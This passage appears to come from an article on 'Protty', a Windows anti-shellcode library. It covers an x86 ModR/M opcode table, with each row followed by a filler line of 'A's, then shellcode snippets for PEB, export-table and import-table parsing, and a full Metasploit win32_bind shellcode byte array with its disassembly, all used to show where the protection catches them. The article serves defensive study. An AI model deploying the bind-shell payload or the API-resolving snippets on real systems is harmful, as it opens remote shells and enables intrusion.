A A1 A [disp32+ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A2 A [disp32+EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A3 A [disp32+EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A4 A [disp32+[--][--]], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A5 A [disp32+EBP], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A6 A [disp32+ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A7 A [disp32+EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A8 A [disp32+EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A9 A [disp32+ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AA A [disp32+EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AB A [disp32+EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AC A [disp32+[--][--]], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AD A [disp32+EBP], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AE A [disp32+ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A AF A [disp32+EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B0 A [disp32+EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B1 A [disp32+ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B2 A [disp32+EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B3 A [disp32+EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B4 A [disp32+[--][--]], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B5 A [disp32+EBP], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B6 A [disp32+ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B7 A [disp32+EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B8 A [disp32+EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A B9 A [disp32+ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BA A [disp32+EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BB A [disp32+EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BC A [disp32+[--][--]], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BD A [disp32+EBP], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BE A [disp32+ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A BF A [disp32+EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C0 A EAX/AX/AL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C1 A ECX/CX/CL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C2 A EDX/DX/DL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C3 A EBX/BX/BL, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C4 A ESP/SP/AH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C5 A EBP/BP/CH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C6 A ESI/SI/DH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C7 A EDI/DI/BH, EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C8 A EAX/AX/AL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A C9 A ECX/CX/CL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CA A EDX/DX/DL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CB A EBX/BX/BL, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CC A ESP/SP/AH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CD A EBP/BP/CH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CE A ESI/SI/DH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A CF A EDI/DI/BH, ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D0 A EAX/AX/AL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D1 A ECX/CX/CL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D2 A EDX/DX/DL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D3 A EBX/BX/BL, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D4 A ESP/SP/AH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D5 A EBP/BP/CH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D6 A ESI/SI/DH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D7 A EDI/DI/BH, EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D8 A EAX/AX/AL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A D9 A ECX/CX/CL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DA A EDX/DX/DL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DB A EBX/BX/BL, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DC A ESP/SP/AH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DD A EBP/BP/CH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DE A ESI/SI/DH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A DF A EDI/DI/BH, EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E0 A EAX/AX/AL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E1 A ECX/CX/CL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E2 A EDX/DX/DL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E3 A EBX/BX/BL, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E4 A ESP/SP/AH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E5 A EBP/BP/CH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E6 A ESI/SI/DH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E7 A EDI/DI/BH, ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E8 A EAX/AX/AL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A E9 A ECX/CX/CL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EA A EDX/DX/DL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EB A EBX/BX/BL, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EC A ESP/SP/AH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A ED A EBP/BP/CH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EE A ESI/SI/DH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A EF A EDI/DI/BH, EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F0 A EAX/AX/AL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F1 A ECX/CX/CL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F2 A EDX/DX/DL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F3 A EBX/BX/BL, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F4 A ESP/SP/AH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F5 A EBP/BP/CH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F6 A ESI/SI/DH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F7 A EDI/DI/BH, ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F8 A EAX/AX/AL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A F9 A ECX/CX/CL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FA A EDX/DX/DL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FB A EBX/BX/BL, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FC A ESP/SP/AH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FD A EBP/BP/CH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FE A ESI/SI/DH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A FF A EDI/DI/BH, EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


As you can see 03h covers "[EBX], EAX/AX/AL". And that's the thing we
needed.Now mechanism knows it should scan EAX and EBX registers and update
them if their values are "similiar" to address of "DECOYS". Of course the
register checking method could be more efficient (should also check more
opcodes etc. etc.) - maybe in next versions.

In the mechanism i have used the table listed above, anyway there is also
"another" ("primary") way to determine what registers are used. The way is
based on fact that ModR/M byte contains three fields of information (Mod,
Reg/Opcode, R/M). By checking bits of those entries we can determine what
registers are used by the instruction (surely interesting tables from
Intel manuals: "...Addressing Forms with the ModR/M Byte") I'm currently
working on disassembler engine, so all those codes related to "opcode
decoding" topic should be released in the nearest future. And probably if
Protty project will be continued i will exchange the z0mbie dissassembler
engine with my own, anyway his baby works very well.

If you are highly interrested in disassembling the instructions, check the
[8].



To see how it works, check following example:

;----------SNIP--------------------------------------------
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch] ; value changed by protector,ESI=DDDDDDDDh
lodsd ; load one dword <- causes exception
;----------SNIP--------------------------------------------

This example faults on "lodsd" instruction, because application is trying
to load 4 bytes from invalid location - ESI (because it was changed by
P2).

Prevention library takeovers the exception and checks the instruction.
This one is "lodsd" so instead of ModR/M byte (because there is no such
here) library checks the opcode. When it finds out it is "lodsd"
instruction, it scans and updates ESI. Finally the ESI (in this case) is
rewritten to 0241F28h (original) and the execution is continued including
the "BAD" instruction.

So that's how P2 works, a lot faster then its older brother P1.


--[ VI. Action - few samples of catched shellcodes

If you have studied descriptions of all of the mechanisms, it is
time to show where/when Protty prevents them.

Lets take a look at examples of all mechanisms described in paragraph IV.

PEB (Process Environment Block) parsing
---------------------------------------

;----------SNIP--------------------------------------------
mov eax,dword ptr fs:[30h] ; EAX is now PEB base
mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA

mov esi,dword ptr [eax+1ch] ; get the first entry
^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
---- [P1-I1]

mov ebx,[esi+08h] ; EBX=ntdll imagebase
^^^^^^^^^^^^^^^^^
|
------- [P2-I1]

<rest code of PEB parser>
;----------SNIP--------------------------------------------


- Description for P1

In this example Protty catches the shellcode when the instruction marked
as [P1-I1] is executed. Since Protty has protected the PEB_LDR_DATA
region (it's marked as PAGE_NOACCESS) all references to it will
cause an access violation which will be filtered by Protty.
Here, shellcode is trying to get first entry from PEB_LDR_DATA structure,
this causes an exception and this way shellcode is catched - attack
failed.


- Description for P2


The mechanism is being activated when [P2-I1] instruction is being
executed. ESI value is redirected to invalid location so every
reference to it cause an access violation exception, this is
filtered by the installed prevention mechanism - in short words:
attack failed, shellcode was catched.



searching for kernel in memory
------------------------------

I think here code is not needed, anyway when/where protty will act in
this case? As you probably remember from paragraph IV the
kernel search code works together with SEH (structured exception handler)
frame. Everytime shellcode tries invalid location SEH frame handles the
exception and the search procedure is continued. When Protty is active
shellcode doesn't have any "second chance" - what does it mean? It means
that when shellcode will check invalid location (by using SEH) the
exception will be filtered by Protty mechanism, in short words shellcode
will be catched - attack failed.

There are also some shellcodes that search the main shellcode in memory
also using SEH frames. Generally the idea is to develop small shellcode
which will only search for the main one stored somewhere in memory. Since
here SEH frames are also used, such type of shellcodes will be also
catched.



export section parsing
----------------------

We are assuming that the attacker has grabbed the imagebase in unknown
way :) (full code in IV-th chapter - i don't want to past it here)


;----------SNIP--------------------------------------------
; EAX=imagebase of kernel32.dll

xor ebp,ebp ; zero the counter
mov ebx,[eax+3ch] ; get pe header
add ebx,eax ; normalize

<...snip...>

loop_it:
mov edi,[ecx] ; get one name
add edi,eax ; normalize
cmp dword ptr [edi+4],'Acor' ; is it GetP-rocA-ddress ?? :)
jne @l ; nope -> jump to @l

; yes it is
add esi,ebp ; add out counter
mov esi,[esi] ; get the address
^^^^^^^^^^^^^
|
---[I1]

add esi,eax ; normalize
int 3 ; ESI=address of GetProcAddress

@l:
<...snip...>

;----------SNIP--------------------------------------------

- Description for P1 and P2

Following example is being catched when [I1] instruction is being
executed - when it tries to read the address of GetProcAddress
from array with function addresses. Since function addresses array
is "protected" all references to it will cause access
violation exception, which will be filtered by the mechanism (like in
previous points). Shellcode catched, attack failed.


import section parsing
----------------------


;----------SNIP--------------------------------------------
;following example gets LoadLibraryA address from IAT

IMAGEBASE equ 00400000h

mov ebx,IMAGEBASE
mov eax,ebx
add eax,[eax+3ch] ; PE header

mov edi,[eax+80h] ; import RVA
^^^^^^^^^^^^^^^^^
|
----[I1]

add edi,ebx ; normalize
xor ebp,ebp

mov edx,[edi+10h] ; pointer to addresses
^^^^^^^^^^^^^^^^^
|
----[I2]

add edx,ebx ; normalize

<...snip...>

;----------SNIP--------------------------------------------

- Description for P1 and P2

After instruction marked as [I1] is executed, EDI should contain the
import section RVA, why should? because since the protection is
active import section RVA is faked. In next step (look at instruction
[I2]) this will cause access violation exception (because of the fact
that FAKED_IAT_RVA + IMAGEBASE = INVALID LOCATION) and the shellcode
will be catched. Attack failed also in this case.

There is also a danger that attacker can hardcode IAT RVA. For such
cases import section array of function names is also protected.
Look at following code:

;----------SNIP--------------------------------------------

<...snip...>

@loop:
mov eax,[esi]
^^^^^^^^^^^^^
|
--[I1]

add eax,ebx
add eax,2
cmp dword ptr [eax],'daoL' ; is this LoadLibraryA?

<...snip...>

;----------SNIP--------------------------------------------

Instruction [I1] is trying to access memory which is not accessible
(protection mechanism changed it) and in the result of
this exception is generated. Protty filters the access violation
and kills the shellcode - this attack also failed.

And the last example, some shellcode from metasploit.com:


win32_bind by metasploit.com
----------------------------
EXITFUNC=seh LPORT=4444 Size=348 Encoder=PexFnstenvSub

(replace "data" with "data" from protty_example/sample_bo.c then
recompile and run)

unsigned char data[] =
"\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97"
"\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a"
"\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e"
"\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84"
"\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1"
"\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9"
"\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5"
"\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb"
"\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87"
"\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3"
"\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a"
"\x41\x76\xf9\xe6\xc4\x76\xe9\xe6\xd4\x76\x55\x65\xf1\x4d\xbb\xe9"
"\xf1\x76\x23\x54\x02\x4d\x0e\xaf\xe7\xe2\xfd\x4a\x41\x4f\xba\xe4"
"\xc2\xda\x7a\xdd\x33\x88\x84\x5c\xc0\xda\x7c\xe6\xc2\xda\x7a\xdd"
"\x72\x6c\x2c\xfc\xc0\xda\x7c\xe5\xc3\x71\xff\x4a\x47\xb6\xc2\x52"
"\xee\xe3\xd3\xe2\x68\xf3\xff\x4a\x47\x43\xc0\xd1\xf1\x4d\xc9\xd8"
"\x1e\xc0\xc0\xe5\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46"
"\x3d\xdb\xe8\x98\x69\x67\x86\x26\x1a\x5f\x92\x1e\x3c\x8e\xc2\xc7"
"\x69\x96\xbc\x4a\xe2\x61\x55\x63\xcc\x72\xf8\xe4\xc6\x74\xc0\xb4"
"\xc6\x74\xff\xe4\x68\xf5\xc2\x18\x4e\x20\x64\xe6\x68\xf3\xc0\x4a"
"\x68\x12\x55\x65\x1c\x72\x56\x36\x53\x41\x55\x63\xc5\xda\x7a\xdd"
"\x67\xaf\xae\xea\xc4\xda\x7c\x4a\x47\x25\xaa\xb5";


Disassembly:

0012FD68 90 NOP
0012FD69 90 NOP
0012FD6A 90 NOP
0012FD6B 90 NOP
0012FD6C 90 NOP
0012FD6D 90 NOP
0012FD6E 90 NOP
0012FD6F 90 NOP
0012FD70 90 NOP
0012FD71 90 NOP
0012FD72 90 NOP
0012FD73 31C9 XOR ECX,ECX
0012FD75 83E9 AF SUB ECX,-51
0012FD78 D9EE FLDZ
0012FD7A D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP-C]
0012FD7E 5B POP EBX
0012FD7F 8173 13 9725AAB5 XOR DWORD PTR DS:[EBX+13],B5AA2597
0012FD86 83EB FC SUB EBX,-4
0012FD89 ^E2 F4 LOOPD SHORT 0012FD7F ; DECODING LOOP

decoded data:

0012FD8B FC CLD
0012FD8C 6A EB PUSH -15
0012FD8E 4F DEC EDI
0012FD8F E8 F9FFFFFF CALL 0012FD8D ; [!]
0012FD94 60 PUSHAD
0012FD95 8B6C24 24 MOV EBP,DWORD PTR SS:[ESP+24]
0012FD99 8B45 3C MOV EAX,DWORD PTR SS:[EBP+3C]
0012FD9C 8B7C05 78 MOV EDI,DWORD PTR SS:[EBP+EAX+78]
0012FDA0 01EF ADD EDI,EBP
0012FDA2 8B4F 18 MOV ECX,DWORD PTR DS:[EDI+18]
0012FDA5 8B5F 20 MOV EBX,DWORD PTR DS:[EDI+20]
0012FDA8 01EB ADD EBX,EBP

...

[!] 0012FD8F (calls) -> 0012FD8D (jumps) -> 0012FDDE

(PARSING PEB BLOCK ROUTINE)
0012FDDE 31C0 XOR EAX,EAX
0012FDE0 64:8B40 30 MOV EAX,DWORD PTR FS:[EAX+30]
0012FDE4 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
0012FDE7 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; [!!-P1]
0012FDEA AD LODS DWORD PTR DS:[ESI] ; [!!-P2]



[!!-P1] - protty (P1) takeovers the program execution when instruction
at 0012FDE7h (MOV ESI,DWORD PTR DS:[EAX+1C]) is being
executed, application is terminated, attack failed.

[!!-P2] - P2 works like above, but the execution is redirected when lodsd
instruction is executed.




--[ VII. Bad points (what you should know) - TODO

I have tested Protty2 (P2) with:

- Microsoft Internet Explorer
- Mozilla Firefox
- Nullsoft Winamp
- Mozilla Thunderbird
- Winrar
- Putty
- Windows Explorer

and few others applications, it worked fine with 2-5 module protected
(the standard is 2 modules NTDLL.DLL and KERNEL32.DLL), with not much
bigger CPU usage! You can define the number of protected modules etc.
etc. to make it suitable for your machine/software. The GOOD point is
that protected memory region is not requested all the time, generally
only on loading new modules (so it don't eat CPU a lot).

However there probably are applications which will not be working stable
with protty. I think decreasion of protection methods can make the
mechanism more stable however it will also decrease the security level.

Anyway it seems to be more stable than XP SP2 :)) I'm preparing for
exams so I don't really have much time to spend it on Protty, so while
working with it remember this is a kind of POC code.


TODO:

!!! DEFINETLY IMPORTANT !!!

- add SEH all chain checker

- code optimization, less code, more *speeeeeed *

- add vectored exception handling checker

- add some registry keys/loaders to inject it automatically to
started application

(if anybody want to play with Protty1):

- add some align calculation procedure for VirtualProtect, to describe
region size more deeply.

Anyway I made SAFE_MEMORY_MODE (new!), here is the description:

When protty reaches the point where it checks the memory region
which caused exception, it checks if it's protected.

Due to missing of align procedure for (VirtualProtect), Protty region
comparing procedure can be not stable (well rare cases :)) - and
to prevent such cases i made SAFE_MEMORY_MODE.

In this case Protty doesn't check if memory which caused exception
is laying somewhere inside protected region table. Instead of this
Protty gets actual protection of this memory address (Im using
VirtualProtect - not the VirtualQuery because it fails on special
areas). Then it checks that actual protection is set to
PAGE_NOACCESS if so, Protty deprotects all protected regions and
checks the protection again, if it was changed it means that
requested memory lays somewhere inside of protected regions.
The rest of mechanism is the same (i think it is even more
better then align procedure, anyway it seems to work well)

(you can turn on safe mode via editing the prot/conf.inc and rebuilding
the library)


--[ VIII. Last words

In the end I would like to say there is a lot to do (this is a concept),
but I had a nice time coding this little thingie. It is based on pretty
new ideas, new technology, new stuffs. This description is short and not
well documented, like I said better test it yourself and see the effect.
Sorry for my bad english and all the *lang* things. If you got any
comments or sth drop me an email.

Few thanks fliez to (random order):
- K.S.Satish, Artur Byszko, Cezary Piekarski, T, Bart Siedlecki, mcb


"some birds werent meant to be caged, their feathers are just too bright."
- Stephen King, Shawshank Redemption


--[ IX. References

[1] - VirtualQuery API
- msdn.microsoft.com/library/ en-us/memory/base/virtualquery.asp

[2] - MEMORY_BASIC_INFORMATION structure
- msdn.microsoft.com/library/en-us/ memory/base/memory_basic_
information_str.asp

[3] - IsBadWritePtr API
- msdn.microsoft.com/library/ en-us/memory/base/isbadwriteptr.asp

[4] - Detours library
